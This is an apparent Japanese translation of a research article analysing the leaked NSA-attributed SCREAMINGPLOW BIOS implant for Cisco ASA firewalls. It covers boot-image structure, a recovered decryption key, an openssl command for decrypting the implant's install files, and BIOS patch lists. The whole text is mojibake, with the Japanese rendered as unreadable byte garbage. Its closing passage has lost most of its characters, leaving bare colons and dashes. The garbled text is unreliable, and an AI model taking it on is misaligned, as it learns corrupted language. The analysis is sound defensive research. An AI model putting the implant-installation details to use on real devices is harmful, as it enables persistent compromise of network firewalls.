
ãæšæºçãªããŒãããããã€ã³ãã©ã³ããšåŒã¶ããªããŠãšã¬ã¬ã³ããªåããªã®ãããšç§ãã¡ã¯èããŸããã
ç§ãã¡ã®ç 究éšéãé«äŸ¡ãªã³ãŒããŒã¹ã¿ã³ããã€ãŸãCisco補ã®ããã€ãã®ããŒããŠã§ã¢ïŒCatalyst 3850ãCatalyst 6500ã¹ã€ããïŒïŒãã®ãç£ãã®ã·ã§ã«ã³ãŒããèšè¿°ããææ³ã«é¢ããZeroNights 2015ã®ã¬ããŒãããããŸããïŒãšã²ãŒããŠã§ã€ãåãåã£ããšããããã¯ãã¹ãŠ1幎åã«å§ãŸããŸããASA 5525-Xç»é¢ã
ãã¡ã€ã¢ãŠã©ãŒã«ã®ããã€ãã®ãã°ãèŠã€ããŠãã·ã¹ãã ã«ããã©ãŒã«ã¹ã«ãŒãããæšæºã·ã§ã«ïŒéçºè
ã«ã¿ã€ã ãªãŒã«éç¥ãããïŒãåãåãããšãã§ããã®ã§ã圱é¿ã«ã€ããŠèããŸãã-ãããæ倧ã®æ害ãåŒãèµ·ããã»ã©ã²ã©ãããšãã§ããããèããŸããã ãããŠ... 2013幎ã«Snowdenã«ãã£ãŠããŒãžãããNSAã®ç§å¯ææžã圹ã«ç«ã¡ãŸããã 圌ãã¯ãCisco PIX 500ã·ãªãŒãºãšCisco ASA 5505ã5510ã5520ã5540ã5550ã·ãªãŒãºãã«ããŒããJETPLOWãšåŒã°ããPIXãšASAã®ã€ã³ãã©ã³ãã«ã€ããŠè©±ããŸãããã芧ã®ãšãããNSAã«ã¿ãã°ã«ã¯ãµããŒããããŠããããŒãžã§ã³ã¯ãããŸããã§ããã ASA 5525-Xãèªç±ã«äœ¿çšã§ããããšã«èšåãããšãPoCãšããŠ5525-Xã·ãªãŒãºã®äžã«ç¬èªã®ã€ã³ãã©ã³ããäœæãããšããã¹ããŒããžã®é¢å¿ãçãŸããŸããã
ZeroNights 2016ã«ã³ãã¡ã¬ã³ã¹ã§ASA 5525-Xã®äžã§ã®ã€ã³ãã©ã³ãã®ããžã§ã³ãšå®è£
ã«ã€ããŠè©±ãããã®ãœãŒã¹ã³ãŒããã¬ã€ã¢ãŠãããŸãã ãŸããããŒãã¹ãšããŠãCatalyst 3850çšã®åæ§ã®ã€ã³ãã©ã³ãã®å®è£
ã瀺ããŸãã
5525-Xã¯Intel x86_64ã¢ãŒããã¯ãã£äžã«æ§ç¯ãããUEFIã䜿çšããŠããã®ã«å¯ŸããCatalyst 3850ã¯MIPS64ã¢ãŒããã¯ãã£ã«åºã¥ããŠãããããã¿ãŒã²ãã5525-Xçšã«éçºãããã€ã³ãã©ã³ãã¯JETPLOWãšãããã«ç°ãªãããšã«æ³šæããããšãéèŠã§ãã
ã·ã£ããŠãããŒã«ãŒã®ã¢ãŒã«ã€ã
å
¬é以æ¥ãã¢ãŒã«ã€ãã®ç¡æéšåã®ã³ã³ãã³ãã®åæã«é¢ããèšäºãå€æ°ãããŸãïŒ ãªã³ã¯1 ã ãªã³ã¯2 ïŒã 誰ããé°è¬Q32
ã Q32
ã®äžå®ã®å€ãæ¹çšåŒã°ã«ãŒããšçµã³ä»ãã誰ããåçŽã«ãããQ32
ãã¬ã€ã¢ãŠãããããšã¯ã¹ããã€ãã¯å€ãããŒãžã§ã³ã®ASAã«ããããããããè
åšããããããªããšç¡è¬ã«è¿°ã¹ãŸããã
ãã®äœæ¥ã§ã¯ã誰ããããã³ã°ããã®ãã誰ããããã³ã°ãããã®ããæšæž¬ããã®ã§ã¯ãªããé²åŒŸã¢ã³ããŒã«ããŒã²ãŒã ãç¡èŠããããšãææ¡ããŸããã·ã¹ã³ã®æ©åšïŒããã³ä»ã®åæ§ã®è
ºïŒã®ãªããŒã¹ãšã³ãžãã¢ãªã³ã°ã®çµéšãšæªæã®ããã³ãŒãã®åæã«åºã¥ããŠãå·è¡ãªæè¡åæãå®æœããŸããã®ãã³ããŒã®æ©åšçšã«èšèšãããã€ã³ãã©ã³ãèªäœïŒ BANANAGLEE /ãã£ã¬ã¯ããªãåç
§ïŒã çµå±ã®ãšãããã¢ãŒã«ã€ãã«æ瀺ãããŠãããã¡ã€ã«ã¯ãå®éã«ã¯ä»¥åã«æªå
¬éã®è匱æ§ã«å¯Ÿããæ»æããŒã«ã®ã»ããã§ãããããŒãããããã¯ãããžãŒã䜿çšããç§å¯æ
å ±ã®ååŸæ段ã§ãããšããäºå®ãæ®ã£ãŠããŸãã äžéšã®ãã¡ã€ã«ãäžè¶³ããŠããã«ãããããããã¢ãŒã«ã€ãå
ã®ããŒã«ã¯æ£åžžã«æ©èœããã¿ã¹ã¯ãå®è¡ããŸãã ããã§ã¯ãè¡ãããäœæ¥éãè³è³ããããåŸãŸããã
ã€ã³ãã©ã³ãã®åæã«çŽæ¥é²ãåã«ãã€ã³ãã©ã³ããã€ã³ã¹ããŒã«ãããŠããã¿ãŒã²ããããŒããŠã§ã¢ãã€ãŸãCiscoãã¡ã€ã¢ãŠã©ãŒã«ã®ã¢ãŒããã¯ãã£ãæ€èšãã䟡å€ããããŸãã
Ciscoãã¡ã€ã¢ãŠã©ãŒã«ãšã¯
ASAããã³PIX
ã·ã¹ã³ã®ãšã³ã·ã¹ãã ã¯å·šå€§ã§ãèŠæš¡ãé©ãã»ã©åçŽã§ãã ããç¥ãããŠãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã¯æ°ååãããããŸããã
- IOS
- IOS XE
- iOS XR
- NX-OS
- ã«ãã¹
- AsyncOS
- Firepower OS
- OS AireOS
- NX OS
- PIX OS
- OSA
- ...
LinuxããŒã¹ã®ãã®ãããã°ãQNXãŸãã¯BSDiããŒã¹ã®ãã®ããããŸãããä»ã®ç¬èªã®OSããããŸãã äžè¬ã«ãå®éã®åç©åãããã³ãããã¥ãŒãµãŒã®ç®¡çæ¹æ³ïŒãŸãã¯ç®¡çãããŠããªãæ¹æ³ïŒã¯è¬ã®ãŸãŸã§ãã ãããŠããããããŸããŸãªã¢ãŒããã¯ãã£ã§ãŸã æ©èœããããšãå¿ããªãã§ãã ããïŒ
- x86
- x86_64
- è
- MIPS
- Powerpc
- ...
åºåã¯ãããã€ã¹ã®ã¿ã€ãã®éåžžã«è€éãªãããªãã¯ã¹ã§ãã ããã»ããµã¢ãŒããã¯ãã£ã¯ãããã»ããµã¬ãã«ã§ã®ã»ãã¥ãªãã£ãã¯ãããžãŒã«äŸåããããã€ã¹ä¿è·ã®ç·šæã«äœ¿çšã§ããããšãç解ããŠããå¿
èŠããããŸãã ããŒããŠã§ã¢ã®ã¹ã¿ããã£ã³ã°ã«ãããä¿è·æè¡ã¯ããã€ã¹ã®ã¢ããªãªãªã§ã¯ãªãå ŽåããããŸãã ãã®ãããããã€ã¹ã®è
žã§äœã䜿çšãããŠãããã泚ææ·±ãç 究ããå¿
èŠããããŸãã
ä»æ¥ã¯ãPIXïŒPrivate Internet ExchangeïŒãšASAïŒAdaptive Security ApplianceïŒã®2ã€ã®ããŒããŠã§ã¢ãã¡ã€ã¢ãŠã©ãŒã«ãæ€èšããŸããããã¯PIXã«åã£ãŠä»£ãããŸããã äž¡æ¹ã®éçã«ã¯ãx86ïŒIntelããã³AMDïŒäºæã¢ãŒããã¯ãã£ããããŸãã
ãã¡ã€ã¢ãŠã©ãŒã«ã®ããŠã³ããŒã
ã»ãšãã©ã®Ciscoããã€ã¹ãšåæ§ã«ã ROMMON ïŒROMã¢ãã¿ãŒïŒãšåŒã°ããããŒãã¹ãã©ããã³ãŒãã¯ãã¡ã€ã¢ãŠã©ãŒã«ã§ããŒãã¿ã¹ã¯ãå®è¡ããŸãã ROMMONã¯ãäœæ¥ã®æåã«ããŒããŠã§ã¢ã³ã³ããŒãã³ããåæåããã¿ã¹ã¯ãå®è¡ãããã®åŸNVRAMããçŸåšã®èšå®ãèªã¿åããŸã ã ROMã¢ãã¿ã¢ãŒã ïŒconfreg 0x00ïŒã«åãæ¿ããå¿
èŠããªãå Žåã GRUBã䜿çšããŠãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ã€ã¡ãŒãžïŒæ¡åŒµå.binã®ããŒãã€ã¡ãŒãžïŒãããŒããã NVRAMããèªã¿åã£ããã¡ã€ã«ã®ååã転éããŸã ã
ASA / PIXããŒãããã»ã¹ã¯æ¬¡ã®ããã«ãªããŸãã

ããŒãã€ã¡ãŒãžASAãšPIXã¯ããã©ãã·ã¥ãã©ã€ãã«ä¿åãããŠãããã¡ã€ã«ã§ããã flashïŒ/ãšããŠããç¥ãããŠããŸãã ããŒãã€ã¡ãŒãžã®æ§é ã¯æ¬¡ã®ããã«ãªããŸãã

ASAã€ã¡ãŒãžã®é²åã¯ãããŒãžã§ã³8.xx以éãã·ã¹ã³ãLinuxã«åãæ¿ãããšããäºå®ããæããã§ãã ããã«ãäŸãšããŠãããŒãasa831-k8.binã®å
容ãèæ
®ããŸãïŒä»¥äžã§ã¯ããã®ã€ã¡ãŒãžãéžæãããçç±ã«ã€ããŠã³ã¡ã³ãããŸãïŒã
$ binwalk -B asa831-k8.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Cisco ASA MAINLDR 512 0x200 Cisco ASA NEXTLDR, a_text: 0x1000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x3C0, a_entry: 0xA000 18432 0x4800 Cisco ASA NEXTLDR, a_text: 0x7000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x0, a_entry: 0x14000 20682 0x50CA Unix path: /platform/asa/finesse/pci.c 73728 0x12000 Cisco ASA BOOTLDR, a_text: 0x5000, a_data: 0xF19000, a_bss: 0x0, a_syms: 0x24, a_entry: 0x100020 79802 0x137BA Unix path: /platform/asa/finesse/pci.c 94208 0x17000 Cisco ASA vmlinuz (2.6.x), kernel_alignment: 0x100000 106110 0x19E7E gzip compressed data, maximum compression, from Unix, last modified: 2010-03-04 22:59:10 1432976 0x15DD90 gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2010-03-04 23:57:08 15454677 0xEBD1D5 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrelay64.dll 15881408 0xF254C0 Cisco ASA STUBLDR, a_text: 0x6000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x1FA4, a_entry: 0x14000, kernel-size: 0x146D90, rootfs-size: 0xDC7718 15887378 0xF26C12 Unix path: /platform/asa/finesse/pci.c
rootfsãå±éãããš ãããã€ãã®èå³æ·±ãæ©èœã匷調ã§ããŸãã
- 䜿çšã«ãŒãã«ïŒ LinuxããŒãžã§ã³2.6.29.6ïŒbuilders @ ff-bldcheck-05ïŒïŒgccããŒãžã§ã³4.0.2ïŒïŒ1 PREEMPT Thu Mar 4 15:59:06 MST 2010 ã
- ãã¡ã€ã¢ãŠã©ãŒã«ãã¡ã€ã«ãå«ããã£ã¬ã¯ããªã¯/ tmp / asa831-k8-rootfs / asaã§ãã
- ã¡ã€ã³ã®å®è¡å¯èœãã¡ã€ã«ã®ãã¹ã¯/ tmp / asa831-k8-rootfs / asa / bin / linaã§ããã rootãšããŠå®è¡ãããŸãã
- ASLRã®ç¡å¹åã匷å¶ããŸããïŒèšäºã®åŸåã§ãã€ã³ãã©ã³ãéçºè
ãã©ã®ããã«äœ¿çšãããã«ã€ããŠèª¬æããŸãïŒã
$ grep "randomize_va_space" /tmp/asa831-k8-rootfs/asa/scripts/rcS.common echo 0 > /proc/sys/kernel/randomize_va_space
ããŒãã€ã¡ãŒãžã®ã³ã³ããŒãã³ããšããŒãã·ãŒã±ã³ã¹
MBRãšFirstLdrãèæ
®ããããšã¯æå³ããããŸããããããã¯ãããŠã³ããŒãã«ã¯äžåé¢äžãããPIXã®ã€ã¡ãŒãžã®ããŒãžã§ã³ããæ¡åŒµãããåæ©çãªãã®ã§ãã
MBRãé€ããã¹ãŠã®ããŒãããŒããŒã«ã¯ã次ã®æ§é ã§èšè¿°ãããããããŒããããŸãïŒ a_midmagãã£ãŒã«ãã®å€ã®ã¿ãç°ãªããŸã ïŒã
struct grub_aout32_header { grub_uint32_t a_midmag; grub_uint32_t a_text; grub_uint32_t a_data; grub_uint32_t a_bss; grub_uint32_t a_syms; grub_uint32_t a_entry; grub_uint32_t a_trsize; grub_uint32_t a_drsize; };
Secondldr
眲åããïŒãã£ãŒã«ãå€a_midmag ïŒïŒ 0x0064010B ã
ãã®ããŒãããŒããŒã®åäœã«ã€ããŠè©³ãã説æããªãå Žåã ROMMONãtftpãããã³ã«ã䜿çšããŠã€ã¡ãŒãžãããŒããããšãã«ã®ã¿äœ¿çšããããšèšããŸãã ROMMONã¯ã SecondLdrã®ãªãã»ãããš0x13FE0ã®ããããŒãèæ
®ããŠãç©çã¡ã¢ãªå
ã®ããŒãå¯èœã€ã¡ãŒãžãèŠã€ã ãå¶åŸ¡ïŒ1 *ïŒã転éããŸã ã ãã®ããŒãããŒããŒã®äž»ãªã¿ã¹ã¯ã¯ãããŠã³ããŒããããã€ã¡ãŒãžã®æŽåæ§ãæ€èšŒããã¿ãŒã²ãããã©ãããã©ãŒã ã®ãµããŒããæ€èšŒãã 0x100000ã®BootLdrããéå§ããŠããã®ãšã³ããªãã€ã³ãïŒ2 *ïŒã«å¶åŸ¡ã移ããæ®ãã®ã€ã¡ãŒãžãåé
眮ããŸãã
Bootldr
ãã®ããŒãããŒããŒã®ã·ã°ããã£ã¯0x107ã§ããäž»ãªã¿ã¹ã¯ã¯ãã«ãŒãã«ã®èµ·åæºåãã¿ãŒã²ãããã©ãããã©ãŒã ã®ãµããŒãã®å確èªããã®ãã©ãããã©ãŒã ã®èå¥åã®çæãStubLdræ¬äœã®0x13FE0ãžã®åé
眮 ïŒããããŒãèæ
®ïŒãå¶åŸ¡ã®è»¢éã§ãïŒ2ïŒ ã èšç®ããããã©ãããã©ãŒã èå¥åãžã®ãã€ã³ã¿ãåŒæ°ãšããŠæž¡ãããŸãã
ãŸããGRUB ïŒ1ïŒã¯ãã®ããŒãããŒããŒã«è»¢éã§ããŸããããã¯ãååãšããŠãããŒãã¢ãã¬ã¹ã«åœ±é¿ãäžããŸããã
ã¹ã¿ãã©ãŒ
眲å0x0064010Bããã ããã®ããŒããŒã®äž»ãªã¿ã¹ã¯ã¯ãã«ãŒãã«ãã¢ã³ããã¯ããŠããŒãããããšã§ãïŒ3ïŒ ã
PIXã®ã€ã¡ãŒãžïŒã€ã¡ãŒãž6.2ã®ããŒãžã§ã³ããéå§ïŒã®å Žåãã«ãŒãã«ã«ã¯BootLdrããŒãããŒããŒã«é¡äŒŒããããããŒãããããšã«æ³šæããããšãéèŠã§ãã
ãžã§ãããããŒ
çšèªã«ã€ããŠã¯ãã¢ãŒã«ã€ããåæãããšãã«ã JETPLOWãšããååãã€ã³ãã©ã³ãã®åæããŒãžã§ã³ïŒäž»ã«PIXïŒã瀺ãããã«äœ¿çšãããæ°ããããŒãžã§ã³ã¯SCREAMINGPLOWãšåŒã°ããææ°ããŒãžã§ã³ã®å¶åŸ¡ã³ã³ããŒãã³ãã®äžéšã¯å€ãããŒãžã§ã³ãéšåçã«ãµããŒãããŠããããšã«æ°ä»ããŸããã
BannanaDaiquiri 3.1.2ãŠãŒãã£ãªãã£ã»ããïŒ BANANAGLEE / BG3121ãã£ã¬ã¯ã㪠ïŒã®ææ°ããŒãžã§ã³ãšãããã«å«ãŸããScreamingPlowããŒãžã§ã³2.8ïŒ SCP28 ïŒãåæããŸããã ã¿ãŒã²ããæ©åšãšããŠã ROMMONããŒãžã§ã³1.0ïŒ12ïŒ13ã®Cisco ASA 5505ãã¡ã€ã¢ãŠã©ãŒã«ãšããŒãžã§ã³8.3.1ã®ããŒãã€ã¡ãŒãžïŒasa831-k8.binïŒãéžæãããŸããã å€æ°ã®ã¿ãŒã²ãããã¡ã€ã¢ãŠã©ãŒã«ã·ãªãŒãºã®ãµããŒããå«ãŸããæ©èœã»ãããæ¡åŒµãããã¢ãŒããã¯ãã£ãæ¹åããããããã€ã³ãã©ã³ãã®ææ°ããŒãžã§ã³ãæ¡çšããŸããã
ææã®æ¹æ³
ã€ã³ãã©ã³ãã®èšçœ®ãå¯èœã§ãïŒ
- ããšãã°ãè匱æ§ããªã¢ãŒãã§æªçšããåŸã®æªçšåŸã åæ§ã®ãšã¯ã¹ããã€ãã¯ãæçš¿ãããã¢ãŒã«ã€ãã«ããããŸãïŒ EXPLOITS / EXBAãåç
§ïŒã
- ããŒãã€ã¡ãŒãžã䜿çšããŠã ãã®ãããªææã¯ããããã¯ãŒã¯ãä»ããŠãªã¢ãŒãã§ããŸãã¯ããã€ã¹ã«ç©ççã«ã¢ã¯ã»ã¹ããŠå®è¡ã§ããŸãã ããšãã°ãééäŒç€Ÿã®ãªãã£ã¹ã§ã
ããã€ãã®èå³æ·±ãæ
å ±ã¯ãç®èãªåœ¢åŒã§æžãããéçºè
ã®ããã¥ã¡ã³ãããå
¥æã§ããŸãïŒããšãã°ã screamplow-INSTALL.txtãã¡ã€ã«ãåç
§ïŒã
ã¢ãŒã«ã€ãå
ã«ãªããtftpãftpãããã³httpïŒsïŒãããã³ã«ã䜿çšããŠãããã¯ãŒã¯çµç±ã§ããŠã³ããŒããããç¹å®ã®ããŒïŒãšã³ãžãã¢ãªã³ã°ïŒããŒãã€ã¡ãŒãžimage.binã«èšåããŠããŸãã
ããã¥ã¡ã³ãã®äŸïŒ
copy tftp://[workstation IP]/image.bin flash:/image2.bin boot system image2.bin rel
åæã®äžé£ã®ãã¡ã€ã¢ãŠã©ãŒã«ãã€ãŸãPIXã«ææããå Žåãéçºè
ã¯ãhttpã䜿çšããŠãšã³ãžãã¢ãªã³ã°ã€ã¡ãŒãžãããŠã³ããŒãããããã«ãApache WebãµãŒããŒïŒ OPS / apache_setup.shãã¡ã€ã«ãšSCRIPTS / Apache_Setup.txtããã¥ã¡ã³ããåç
§ïŒã®å±éãèªååããã¹ã¯ãªãããæ
éã«ãªãã¬ãŒã¿ãŒã«æäŸããŸãïŒ sïŒã

ãã®ãšã³ãžãã¢ãªã³ã°ã€ã¡ãŒãžã¯ãããã€ãã®åºæ¬æ
å ±ïŒã·ãªãŒãºã ROMMONããŒãžã§ã³ãªã©ïŒã«åºã¥ããŠãç¹å®ã®ã¿ãŒã²ãããã¡ã€ã¢ãŠã©ãŒã«çšã«åå¥ã«çæããå¿
èŠããããŸãã ããã«ãç»åãçæãããšããã€ã³ãã©ã³ãã®èå¥åã瀺ãå¿
èŠããããŸããããã¯ãææããããã€ã¹ãåºå¥ããããããšéä¿¡ããããã«äœ¿çšãããŸãã
ãšã³ãžãã¢ãªã³ã°ã€ã¡ãŒãžãšã®ãã¹ãŠã®å¯Ÿè©±ã¯ããããã¯ãŒã¯ïŒUDP 500ïŒãä»ããŠè¡ãããŸãã ããã«ã¯ãããã€ãã®ãŠãŒãã£ãªãã£ã䜿çšãããŸãã
- ææè
ïŒæè¿ã®ããŒãžã§ã³ã§ã¯BPICKERãšããååã§ãå€ãããŒãžã§ã³ã§ã¯writeScreamingPlowãšwriteJetPlowã§ã ïŒ;
- ç£èŠããã³ãã®åŸã®ç®¡çã®ããã®LPãŠãŒãã£ãªãã£ã
ææã®äž»ãªã¿ã¹ã¯ã¯ãã·ã¹ãã ã«ã€ããŠåãåã£ãæ
å ±ãèæ
®ã«å
¥ããŠBIOSãã©ãã·ã¥ã€ã¡ãŒãžããããäœæããçæãããããŒã¿ããã®åŸã®ææã®ããã«ããŒãã€ã¡ãŒãžäžã®ãŠãŒãã£ãªãã£ã«è»¢éããããšã§ãã
ææã®æºå
åè¿°ã®ããã«ã BannanaDaiquiriãŠãŒãã£ãªãã£ã®ææ°ããŒãžã§ã³ã§ã¯ã BPICKERãŠãŒãã£ãªãã£ã䜿çšããŠBIOSãã©ãã·ã¥ã€ã¡ãŒãžã«ãŒããäœæããŸãïŒ BANANAGLEE / BG3121 / Install / LP / BPICKER-3100ãã¡ã€ã«ãåç
§ïŒã ãã®ãŠãŒãã£ãªãã£ã¯ããšã³ãžãã¢ãªã³ã°ã€ã¡ãŒãžã«æ¥ç¶ããåŸãããããã¿ãŒã²ããæ©åšã«é¢ããæ
å ±ãåãåããŸãã 次ã«ãããã«åºã¥ããŠãçŸåšã®ãã£ã¬ã¯ããªã§ãã€ã³ãã©ã³ãã®ã³ã³ããŒãã³ããå«ã<platform_name>-moduledata-<bg_version>.tgz
ãšããååã§ã¢ãŒã«ã€ããæ€çŽ¢ãããŸãã æ®å¿µãªãããã¢ãŒã«ã€ãã®å
¬ééšåã«ã¯asa-moduledata-3101.tgzãã¡ã€ã«ã®ã¿ããããŸã ã ã¢ãŒã«ã€ãã解åãããšã次ã®ãã£ã¬ã¯ããªæ§é ã確èªã§ããŸãã
$ tree -d BANANAGLEE/BG3121/Install/LP/asa-moduledata-3101 asa-moduledata-3101 âââ asa
éžæããã€ã³ãã©ã³ãããŒãžã§ã³ã§ã¯ããã©ãã·ã¥BIOSã€ã¡ãŒãžã«ãŒããå«ããã¡ã€ã«ã®ååã¯asa / asa5505_101213_install_SCP28.pifã§ãã pifãã¡ã€ã«ã埩å·åããããã®ããŒã¯ã BPICKERãŠãŒãã£ãªãã£ã®åæãéããŠèŠã€ããããšãã§ããŸãã
// `BANANAGLEE/BG3121/Install/LP/BPICKER-3100` @ 0804F080 uint8_t *key = (uint8_t *)malloc(29); *(uint32_t *)key = 0xC28AD3C7; *((uint32_t *)key + 1) = 0xD8CFDCC5; *((uint32_t *)key + 2) = 0xCCCBD8C9; *((uint32_t *)key + 3) = 0xD9C38ADE; *((uint32_t *)key + 4) = 0xC6DFCC8A; *((uint32_t *)key + 5) = 0xCCC58AC6; *((uint32_t *)key + 6) = 0xC6CFCF8A; key[28] = 0xD9; int i = 0; do { key[i] ^= 0xAA; ++i; } while (i <= 28); // key = "my hovercraft is full of eels"
éžæããã€ã³ãã©ã³ãããŒãžã§ã³ã§ã¯ãã€ã³ã¹ããŒã«çšã«asa / asa5505_101213_install_SCP28.pifãšããååã®pifãã¡ã€ã«ãã¢ã³ã€ã³ã¹ããŒã«çšã«asa / asa5505_101213_uninstall_SCP28.pifãšããååã®pifãã¡ã€ã«ãå¿
èŠã§ãã
次ã®ããã«ãã¢ãŒã«ã€ãå
ã®ãã¹ãŠã®pifãã¡ã€ã«ã埩å·åã§ããŸãã
find . -iname "*.pif" -type f -print -exec sh -c 'openssl base64 -d -in {} | openssl aes-128-cbc -d -nosalt -md md5 -k "my hovercraft is full of eels" > {}.xml' \;
埩å·åããã xmlãã¡ã€ã«asa5505_101213_install_SCP28.pifã«ã¯æ¬¡ãå«ãŸããŸãã
<?xml version="1.0" encoding="iso-8859-1"?> <platform xsi:noNamespaceSchemaLocation="versionFile.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" lib="libasa.so"> <name>asa5505</name> <version> <name>1.0(12)13 (no persistence detected)</name> <originalBios>bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin</originalBios> <signatureList> <signature> <hash>67dfd19f3eb3649d6f3f6631e44d0bd36b8d8d19</hash> <address>fff60000</address> <length>0x20000</length> </signature> <signature> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature> <hash>579d3ffa2fcb4d55a51b45747184a41656b88df2</hash> <address>fff80000</address> <length>0x80000</length> </signature> </signatureList> <validationList> <signature> <hash>bb706c2b0d3e28ee5209eb0b4f55cc3b8adca81b</hash> <address>fff60000</address> <length>0xdf00</length> </signature> <signature> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature> <hash>c4e5a42ddca3a977e6ba64075914d94a87ba1dfb</hash> <address>fff80000</address> <length>0x80000</length> </signature> </validationList> <patchList> <patch> <data src="inline" type="userarea">0</data> <address>fff70000</address> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patch60000.bin</data> <address>fff60000</address> </patch> <patch> <data src="inline" type="pbd">0</data> <address>fff6df00</address> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchEC480.bin</data> <address>fffec480</address> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchE18BF.bin</data> <address>fffe18bf</address> </patch> </patchList> </version> </platform>
ã³ãŒããããããããã«ããã®xmlãã¡ã€ã«ã«ã¯ã ROMMONããŒãžã§ã³1.0ïŒ12ïŒ13ããªã³ããŒããã®ã¿ãŒã²ãããã©ãããã©ãŒã ASA 5505ãèšè¿°ãããã©ãããã©ãŒã ã®ã«ãŒãèŠçŽ ãå«ãŸããŠããŸãã ãã®ãã©ãããã©ãŒã ã®BIOSã«ã€ããŠã¯ã patchListèŠçŽ ã§èª¬æãããŠãããããããããŸãã ããããã«å®å
ã¢ãã¬ã¹ãããããã£ã¹ã¯äžã®ãã¡ã€ã«ãšã³ãŒãïŒã€ã³ã©ã€ã³ïŒã®2ã€ã®ã¿ã€ãã«åããããŸãã
ãŠãŒã¶ãŒããŒã¿ã«åºã¥ããã€ã³ã©ã€ã³ãããã®ã³ãŒãã¯ã BPICKERãŠãŒãã£ãªãã£ã§ããŒããããlibasa.soãã©ãããã©ãŒã ã®ã©ã€ãã©ãªïŒ ãã©ãããã©ãŒã ã«ãŒãèŠçŽ ã®libå±æ§ãåç
§ïŒã䜿çšããŠçæãããŸãã
ãã®æ®µéã§ã¯ã BannanaDaiquiriã«å«ãŸãã以åã®ããŒãžã§ã³ã®ãŠãŒãã£ãªãã£ã§ã¯ãBIOSãã©ãã·ã¥ã«ãŒãã®åœ¢æã¯ææèªäœã§çŽæ¥è¡ããã ãã¡ã€ã«ã¿ã€ãã³ã³ããŒãã³ããžã®ãã¹ãå³å¯ã«èŠå®ãããŠããããšã¯æ³šç®ã«å€ããŸã ã
ææãšãã®åŸã®æ€èšŒ
ææè
ãå®è¡ããææããã»ã¹å
šäœã¯ãæ§æããããããããšã³ãžãã¢ãªã³ã°ã€ã¡ãŒãžã«é 次éä¿¡ããããšã§æ§æãããŸãã validationListèŠçŽ ã®å
容ã«åºã¥ããŠãå¹æã®æ£åœæ§ãæ€èšŒããããã«ãã¡ã¢ãªã»ã¯ã·ã§ã³ã®ç¹°ãè¿ãèªã¿åããå®è¡ãããç¶ããŠèªã¿åãããããŒã¿ã®ããã·ã¥åãèšç®ãããŸãã signatureListã®èŠçŽ ã¯ãã¿ãŒã²ããã·ã¹ãã ãææããŠããªãããšããŸãã¯ã€ã³ãã©ã³ãã®é€å»ãæåããããšã確èªããããã«äœ¿çšãããŸãã
以äžã®ç»åã¯ãææååŸã®Flash BIOSã®å€èŠ³ã瀺ããŠããŸãã

ã€ã³ãã©ã³ãéšåã®åæ
asa5505_101213_install_SCP28.pif xmlãã¡ã€ã«ã®äžèšã®å
容ãããã€ã³ãã©ã³ãèªäœã¯4ã€ã®äž»èŠãªéšåã§æ§æãããŠããããšãããããŸã ã

ããã«ãç°¡æœã«ããããã«ã FCAãSCAãFUA ãããã³SUAã®ç¥èªã䜿çšããŠãã€ã³ãã©ã³ãã®å¯Ÿå¿ããéšåã瀺ããŸãã ããã¯ã¯ããããHookã®ãŸãŸã§ãã
次ã«ãåã³ã³ããŒãã³ããæ€èšããŸãã ããã¯ãã€ã³ãã©ã³ãããããã䜿çšããé åºãšéã®é åºã§è¡ããŸããããã«ãããã€ãã³ãã®é£éãå£ããã«ãæãç°¡åã«ãªããŸãã
2çªç®ã®ãŠãŒã¶ãŒé åïŒSUA @ 0xFFF70000ïŒ
ãã®éšåã¯ã€ã³ãã©ã³ãã®äž»èŠã§å¯äžã®ãã€ããŒãã§ãããå®éã«ã¯æ®ãã®éšåã¯ãã¹ãŠããŒããŒã§ãã SUAã«ã¯ãã€ã³ãã©ã³ããã€ããŒãã³ãŒãïŒAïŒãšããã€ããŒãã³ãŒããåäœããç°å¢ãèšè¿°ããããã€ãã®ãµããŒãæ
å ±ïŒBïŒãå«ãŸããŠããŸãã
ãã€ããŒãã³ãŒãã¯ãã³ãã³ããµãŒããŒïŒCïŒCãµãŒããŒïŒãšã®éä¿¡ã確ç«ããããã«äœ¿çšãããŸãã
ãµããŒãæ
å ±ã«ã¯ãããšãã°æ¬¡ãå«ãŸããŸãã
- ã¡ã€ã³ããã»ã¹ã®ããŒãžã§ã³ã決å®ããããã®æ瀺;
- ãã€ããŒãã³ãŒãããã®äœæ¥ã§äœ¿çšããã¡ã€ã³ããã»ã¹ã®ã¢ãã¬ã¹ç©ºéå
ã®ããŸããŸãªæ©èœã®ã¢ãã¬ã¹ïŒããšãã°ããããã¯ãŒã¯ãæäœããããã®æ©èœïŒã
- ãã€ããŒãã³ãŒããåäœããå¿
èŠãããã¡ã€ã³ããã»ã¹ã®äž»èŠæ§é å
ã®å€äœãªã©
ãµããŒãæ
å ±ã¯ã libasa.soã©ã€ãã©ãªã®åæã®çµæãšããŠåŸãããå®çŸ©ã®æ§é ã®è€åäœãšããŠSUAã«æ ŒçŽããã次ã®ããã«ãªããŸãã
struct { uint32_t magic; uint32_t os8_off; uint32_t bg_gen_off; uint32_t bg_os_off; } UA_DIR; struct { uint32_t magic; struct { uint32_t version; uint32_t address; } records[0]; } OS8_INFO; struct { struct { uint32_t magic; uint32_t data_size; } header; uint32_t unknown; uint32_t imp_version; } BG_GEN_INFO; struct { uint32_t magic; uint32_t size; uint32_t page_size; uint32_t version; uint32_t bg_glob_addr; uint32_t malloc_addr; uint32_t sync_addr; uint32_t checkheap_addr; uint32_t imp_version; uint32_t unknown; void* addr_ptr_list[0]; } BG_OS_INFO;
:
- UA_DIR â , SUA .
- OS8_INFO â , , . , lina (8.xx ), ( â OS8 ). malina (7.xx) 0x100040 .
- BG_GEN_INFO â , .
